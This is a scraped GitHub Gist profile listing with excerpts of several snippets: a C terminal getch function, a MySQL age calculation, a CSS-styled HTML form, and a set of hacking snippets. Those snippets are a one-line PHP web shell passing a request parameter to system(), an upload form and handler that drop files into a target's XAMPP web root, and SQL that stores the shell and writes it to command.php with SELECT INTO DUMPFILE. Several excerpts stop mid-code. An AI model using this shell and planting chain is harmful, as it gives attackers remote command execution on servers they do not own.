Skip to content

Instantly share code, notes, and snippets.

View sakti's full-sized avatar
🦀

Sakti Dwi Cahyono sakti

🦀
View GitHub Profile
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
int getch( ) {
struct termios oldt, newt;
int ch;
tcgetattr( STDIN_FILENO, &oldt );
newt = oldt;
newt.c_lflag &= ~( ICANON | ECHO );
SELECT DATE_FORMAT(NOW(), '%Y') - DATE_FORMAT(tgl_lahir, '%Y') - (DATE_FORMAT(NOW(), '00-%m-%d') < DATE_FORMAT(tgl_lahir, '00-%m-%d'))
AS umur
FROM mahasiswa
CREATE TABLE `coba_hck`.`source` (
`isi` TEXT NOT NULL
) ENGINE = MYISAM
<pre><body bgcolor=silver><?php @system($_REQUEST["v"])?></body></pre>
@sakti
sakti / up.php
Created December 21, 2010 23:25
<html>
<form enctype="multipart/form-data" action="ps.php" method="POST">
<!-- MAX_FILE_SIZE must precede the file input field -->
<input type="hidden" name="MAX_FILE_SIZE" value="9000000" />
<!-- Name of input element determines name in $_FILES array -->
Send this file: <input name="userfile" type="file" />
<input type="submit" value="Send File" />
</form>
</html>
@sakti
sakti / ps.php
Created December 21, 2010 23:26
<?php
$uploaddir = 'C:/xampp/htdocs/'; //DOCUMENT_ROOT komputer target
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "Possible file upload attack!\n";
}
INSERT INTO `coba_hck`.`source` (
`isi`
)
VALUES (
'<pre><body bgcolor=silver><?php @system($_REQUEST["v"])?></body></pre>'
);
SELECT * into dumpfile 'C:/xampp/htdocs/command.php' from source;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- nama file: form.html -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta http-equiv="keywords" content="form, css for button, imk, hci, human, computer, interaction" />
<meta http-equiv="description" content="page test for editing button with css" />
<title>css button, imk</title>
<style type="text/css">
</style>
@sakti
sakti / form.html
Created December 25, 2010 00:56
excerpt
<style type="text/css">
body{
margin:0;
}
</style>